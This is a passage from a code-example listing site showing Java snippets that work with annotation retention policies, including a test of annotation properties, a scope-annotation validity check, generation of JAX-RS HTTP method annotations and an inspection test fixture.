      rootLocaleFormat("%s must have RUNTIME RetentionPolicy.", annotationClass),
      RetentionPolicy.RUNTIME, retentionPolicy.value());
  assertNotNull(
      rootLocaleFormat("%s must be inherited.", annotationClass),
      annotationClass.getAnnotation(Inherited.class));

  for (String propertyName : new String[]{"value", "absent"}) {
    Method method = null;
    try {
      method = annotationClass.getMethod(propertyName);
    } catch (NoSuchMethodException e) {
      fail(rootLocaleFormat("%s must have a property named '%s'.",
          annotationClass, propertyName));
    }
    final Class<?> returnType = method.getReturnType();
    assertTrue(rootLocaleFormat("%s.%s() must return an array.",
        annotationClass, propertyName),
        returnType.isArray());
    assertSame(rootLocaleFormat("%s.%s() must return an array of %s.",
        annotationClass, propertyName, annotationClass.getDeclaringClass()),
        annotationClass.getDeclaringClass(), returnType.getComponentType());
  }
}
 
Example 37
Project: toothpick   File: FactoryProcessor.java   View source code 5 votes vote down vote up
private void checkScopeAnnotationValidity(TypeElement annotation) {
  if (annotation.getAnnotation(Scope.class) == null) {
    error(annotation, "Scope Annotation %s does not contain Scope annotation.", annotation.getQualifiedName());
    return;
  }

  Retention retention = annotation.getAnnotation(Retention.class);
  if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
    error(annotation, "Scope Annotation %s does not have RUNTIME retention policy.", annotation.getQualifiedName());
  }
}
 
Example 38
Project: aml   File: Context.java   View source code 5 votes vote down vote up
private JDefinedClass createCustomHttpMethodAnnotation(final String httpMethod)
    throws JClassAlreadyExistsException
{
    final JPackage pkg = codeModel._package(getSupportPackage());
    final JDefinedClass annotationClazz = pkg._annotationTypeDeclaration(httpMethod);
    annotationClazz.annotate(Target.class).param("value", ElementType.METHOD);
    annotationClazz.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
    annotationClazz.annotate(HttpMethod.class).param("value", httpMethod);
    annotationClazz.javadoc().add("Custom JAX-RS support for HTTP " + httpMethod + ".");
    httpMethodAnnotations.put(httpMethod.toUpperCase(), annotationClazz);
    return annotationClazz;
}
 
Example 39
Project: aml   File: Context.java   View source code 5 votes vote down vote up
private JDefinedClass createCustomHttpMethodAnnotation(final String httpMethod)
    throws JClassAlreadyExistsException
{
    final JPackage pkg = codeModel._package(getSupportPackage());
    final JDefinedClass annotationClazz = pkg._annotationTypeDeclaration(httpMethod);
    annotationClazz.annotate(Target.class).param("value", ElementType.METHOD);
    annotationClazz.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
    annotationClazz.annotate(HttpMethod.class).param("value", httpMethod);
    annotationClazz.javadoc().add("Custom JAX-RS support for HTTP " + httpMethod + ".");
    httpMethodAnnotations.put(httpMethod.toUpperCase(), annotationClazz);
    return annotationClazz;
}
 
Example 40
Project: intellij-ce-playground   File: ReflectionForUnavailableAnnotationInspection.java   View source code 5 votes vote down vote up
public void foo() throws NoSuchMethodException {
    getClass().getAnnotation(Retention.class);
    getClass().getAnnotation(UnretainedAnnotation.class);
    getClass().getAnnotation(SourceAnnotation.class);
    getClass().isAnnotationPresent(Retention.class);
    getClass().isAnnotationPresent(UnretainedAnnotation.class);
    getClass().isAnnotationPresent(SourceAnnotation.class);
    getClass().getMethod("foo").getAnnotation(SourceAnnotation.class);
}